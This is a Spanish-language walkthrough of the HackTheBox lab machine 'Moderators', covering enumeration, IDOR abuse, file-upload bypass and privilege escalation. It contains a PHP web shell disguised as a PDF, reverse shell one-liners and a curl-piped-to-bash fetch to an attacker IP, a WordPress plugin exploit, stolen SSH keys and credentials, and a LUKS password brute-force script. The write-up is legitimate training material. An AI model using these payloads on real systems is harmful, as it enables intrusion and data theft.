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1. Enumeración 
Realizamos un PING a la máquina víctima para comprobar su TTL. A partir del valor 
devuelto, nos podemos hacer una idea del sistema operativo que tiene. En este caso 
podemos deducir que se trata de una máquina Linux. 

 
 

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes 
servicios y versiones asociados.  

 
 

Analizamos las tecnologías que usa el servicio web que corre por el puerto 80. 

 
 

Consultamos con nuestro navegador el servicio web, y analizamos las tecnologías usadas 
apoyándonos en el plugin wappalyzer, por si nos diera alguna información adicional a 
whatweb. 
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Con nmap, realizamos una enumeración rápida de directorios del servicio web. 
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2. Análisis de 
vulnerabilidades 

La web presenta un pequeño blog, donde enumeran vulnerabilidades que encuentran a 
sus clientes, previo consentimiento. En algunas de esas entradas del blog, 
adicionalmente, presentan un informe. 

 
 

Siguiendo con la enumeración manual de la web, en el apartado de “service”, se informa 
de que los logs y reportes, siempre deberán ser subidos en formato PDF. Por lo que 
debería haber algún panel de subida. Esta información, nos será útil más adelante. 

 
 
Incluimos el dominio “moderators.htb” en nuestro fichero hosts, por si se estuviera 
aplicando virtual hosting, aunque no es el caso. 
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Vamos a ver si se está aconteciendo una vulnerabilidad IDOR. Realizamos una 
enumeración de posibles reportes, que no sean visibles directamente desde la web. 

 

 
 

Para trabajar de una forma más cómoda, copiamos el resultado de wfuzz a un fichero de 
texto y extraemos el identificador de cada reporte. 

 
1. cat reports.txt | awk '{print $9}' FS=' ' | tr '"' ' ' | sponge reports.txt 

¿Qué es un IDOR? 

Son un tipo de vulnerabilidad de seguridad que se produce cuando una aplicación web 

utiliza identificadores internos (como números o nombres) para identificar y acceder 

a recursos (como archivos o datos) y no se valida adecuadamente la autorización del 

usuario para acceder a ellos. 

https://dandyloco.github.io/


 

 

https://dandyloco.github.io/   6    ©Dandy_loco 

 

Ejecutamos un “one-liner” para consultar todos esos reportes y revisar posible 
información que, en ellos, se estuviera filtrando. 
1. while read -r line; do curl -s "http://moderators.htb/reports.php?report=$line"; done < reports.txt | 
grep "Disclosure Information" -A 9 | tr -d '                        ' 

 
Este reporte, con identificador 9798, nos llama la atención, ya que menciona que aun no 
está parcheado y parece que contiene un log asociado. 

 
 

Como “logs/e21cece511f43a5cb18d4932429915ed/” parece tratarse de un directorio, 
vamos a realizar una enumeración por fuerza bruta. Anteriormente, en la propia web, 
vimos que los reportes y logs debían subirse en formato PDF, por tanto buscaremos 
ficheros con dicha extensión. Descubrimos el fichero logs.pdf. 

 
 

Lamentablemente, los logs de ese reporte se han borrado. 
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Si consultamos el número del directorio en crackstation.net, coincide con un hash del 
tipo md5. Curiosamente, el número que representa es el número de reporte. 

 

 
 
Nos aprovechamos del fichero con id de reportes que generamos anteriormente, y 
traducimos en md5 todos esos identificadores. 
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Suponemos, que todos los reportes contendrán un fichero logs.pdf. Revisamos la url de 
cada reporte hasta que encontramos un reporte, el cual se filtra una url, donde 
posiblemente haya un panel de subida de logs. 

 
 

3. Explotación y acceso. 
Comprobamos que efectivamente llegamos, con dicha url, a un panel de subida de logs. 

 
 

Analizamos la petición que se cursa con BurpSuite al realizar la subida de un fichero. Tras 
algunas pruebas, vemos que el panel verifica tres cosas: 

• Que el archivo tenga la extensión pdf. 

• Que el content-type sea “application/pdf” 

• Que el fichero comience con los “magic bytes” propios de un fichero PDF (%PDF-). 
 
Teniendo estas tres cosas en cuenta, subimos un fichero malicioso con el siguiente 
contenido. 
1. %PDF-<?php echo system($_GET['cmd']); ?> 
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La web responde que el fichero se ha subido correctamente, pero no sabemos 
exactamente dónde. Por tanto, realizamos un ataque de fuerza bruta, y descubrimos el 
directorio “uploads”. 

 
 
Ejecutamos nuestro fichero, “cmd.pdf.php”, sin embargo, no vemos que funcione. 
Intuimos que se está realizando algún tipo de sanitización. Podríamos intentar subir un 
phpinfo, para ver si hay funciones deshabilitadas. Antes, seguimos este enlace de 
Hacktricks, donde nos enumeran vías alternativas de ejecución de comandos con PHP.  
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1. %PDF-<?php echo fread(popen($_GET['cmd'], "r"), 4096); ?> 

 
Esta vez, sí que conseguimos la ejecución de comandos. 

 
 

Nos ponemos en escucha con netcat, en nuestra máquina de atacante y esta ejecutamos 
en nuestro navegador: 
1. 10.10.11.173/logs/uploads/shell2.pdf.php?cmd=bash -c '/bin/bash -i >%26 /dev/tcp/10.10.14.6/443 0>%261' 
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4. Movimiento lateral 

Como vimos anteriormente, hemos ganado acceso a la máquina víctima como www-data. 

 
 

Revisando los directorios de los usuarios del sistema, vemos que el usuario lexi tiene la 
flag de usuario, por lo que entendemos que primero nos tendremos que convertir en ese 
usuario. 

 
 
Enumeramos los puertos que están abiertos de forma local, por si alguno no estuviera 
expuesto. Y nos llama la atención el puerto 8080. 

 
 
Precisamente ese servicio, se está ejecutando como el usuario lexi, por lo que tenemos 
una vía potencial de realizar un movimiento lateral. 

 
 

Nos vamos a apoyar en chisel, para realizar un “port forwarding” y ver qué está corriendo 
es ese ese puerto 8080. Para ello, corremos el programa chisel en nuestra máquina de 
atacante, como servidor por el puerto 1234. 
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En la máquina víctima, subimos el fichero chisel, ejecutándolo como cliente.  

 
 

Consultamos la página web, realizando una petición a http://127.0.0.1:8080 y vemos que 
se trata de un Wordpress.  

 
 
Para conseguir que la web se vea de forma correcta, modificamos nuestro fichero hosts 
y realizamos, esta vez, la consulta sobre la url http://moderators.htb:8080.  

 

 
 
Para realizar una enumeración del Wordpress, lo haremos desde la propia máquina 
víctima. Intentamos ver el contenido del fichero wp-config.php, pero no tenemos acceso. 
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Continuamos, revisando los plugins. 

 
 
Revisamos con searchexploit el plugin “brandfolder”, encontrando una vulnerabilidad, la 
cual nos permite cambiar el directorio de trabajo, cargando un fichero malicioso. Vamos 
a intentar ponerlo en práctica. 

 
 
Nos creamos un fichero shell.sh en nuestra máquina de atacante, con el siguiente 
contenido. Y nos ponemos en escucha, con netcat, por el puerto 4444. 
1. #!/bin/bash 
2. bash -i >& /dev/tcp/10.10.14.6/4444 0>&1 

 
En /dev/shm/ nos creamos el script wp-load.php con el siguiente contenido. 
1. <?php echo fread(popen("curl 10.10.14.6:8000/shell.sh|bash", "r"), 4096); ?> 

 
Ahora, realizamos la siguiente petición en la máquina víctima. 
1. Curl 'http://127.0.0.1:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=/dev/shm/' 

 
Ganamos acceso como el usuario lexi. 

 
 

Vemos que el usuario lexi tiene en su directorio personal, una id_rsa. Para trabajar más 
cómodamente, nos la copiamos a nuestra máquina de atacante y accedemos por SSH. 

 
 

Con el usuario lexi, tenemos acceso al fichero wp-config.php, por lo que podemos ver las 
credenciales de MySQL. 
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1. Usuario: wordpressuser 
2. Clave: wordpresspassword123!! 

 
Nos conectamos al servidor de MySQL y enumeramos sus bases de datos. 

 
 

Enumeramos las tablas de la base de datos de Wordpress. 

 
 
Revisamos los usuarios existentes. Vamos a cambiar la contraseña del usuario admin. 

 
 
Codificamos la clave “pass1234” en formato de WordPress, con la ayuda de la siguiente 
web. 
1. https://www.useotools.com/wordpress-password-hash-generator 
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Ejecutamos la consulta SQL, en el servidor MySQL, que cambiará la contraseña al usuario. 

 
 
Valiéndonos de la conexión con chisel que realizamos anteriormente, nos conectamos al 
panel de administración del WordPress. Pulsamos sobre “Reminder me later” en el 
mensaje que muestra la imagen. 

 
 

Vemos la clave id_rsa del usuario John. Por lo que procedemos a copiar a nuestra 
máquina de atacante. 
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Cambiamos los espacios, para que se conviertan en retornos de carro. Posteriormente, 
de forma manual, formateamos la cabecera del fichero -----BEGIN OPENSSH PRIVATE KEY-
---- y -----END OPENSSH PRIVATE KEY-----.  

 
 
Nos conectamos con el usuario John por SSH con la clave privada. 

 
 

5. Escalada de privilegios 
Revisamos el directorio personal de john. Encontramos los archivos de una máquina 
virtual de Virtual Box.  

 

 
 

 
Nos traemos, con scp, los dos ficheros a nuestra máquina de atacante. 

 
 
En el fichero 2019-08-01.vbox, modificamos el campo “location” del disco 2019.vdi. 
Posteriormente, nos abriremos el Virtual Box en nuestra máquina de atacante e 
importaremos el fichero 2019-08-01.vbox. Deberemos quitar el disco Ubuntu.vdi, el cual 
no tenemos. 

¿Qué es un archivo vdi? 

Un archivo con extensión . vdi es una imagen de disco virtual; específico del programa 

de virtualización de escritorio de código abierto de Oracle llamado VirtualBox. Los 

archivos VDI se utilizan para iniciar la máquina virtual VirtualBox. 
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El disco 2019.vdi no parece tener sistema operativo, por lo que añadiremos un dispositivo 
CD-ROM y arrancamos con un live-cd. En nuestro caso de Parrot Security.  
 
Nota: 
Para que este paso funcione, es importante que el paquete de extensión de VirtualBox 
esté instalado. Sin él, no podrá reconocer el cifrado ni interactuar con la unidad cifrada. 

 

 
 
Al iniciar la máquina virtual, nos pide una contraseña. Parece que el propio disco, en 
virtual box, está cifrado.  

 
 
Encontramos en este enlace una forma de crakear la contraseña del disco de Virtual Box. 
Nos descargamos el archivo PHP a nuestra máquina y ejecutamos. 

 
1. Clave: computer 

 
Arrancamos la máquina virtual, introduciendo la clave anterior. Una vez arrancado la 
distribución de Parrot, intentamos montar el disco duro desde la interface gráfica, pero 
nos pide una contraseña. 
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Si intentamos montar el disco de forma manual, vemos que se trata de un disco cifrado 
con LUKS.  

 
 
Siguiendo este este artículo encontramos formas potenciales de “crakear” la contraseña. 
Intentamos seguir los pasos, usando Hashcat, pero nos daba un error “Invalid LUKS 
versión”. Parece que esta versión no es compatible. Por tanto, debemos crearnos  
nuestro propio script. 

 
1. #!/bin/bash 
2.   
3. for line in $(cat $1); do 
4.   echo -ne "\r\033[KTesting $line"; 
5.   printf "$line" | cryptsetup luksOpen --test-passphrase /dev/sda 2>/dev/null && \ 
6.     echo "Found password: $line" && break 
8. done 

 
Damos permisos de ejecución al script y lo ejecutamos. Al poco tiempo, obtenemos la 
clave.  
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Montamos el disco duro, con la credencial obtenida. 

 
 
Realizamos una búsqueda para encontrar posibles contraseñas dentro del directorio: 
1. grep -R passwd 

 
 
Probamos a convertirnos en root, como la credencial que acabamos de obtener.  
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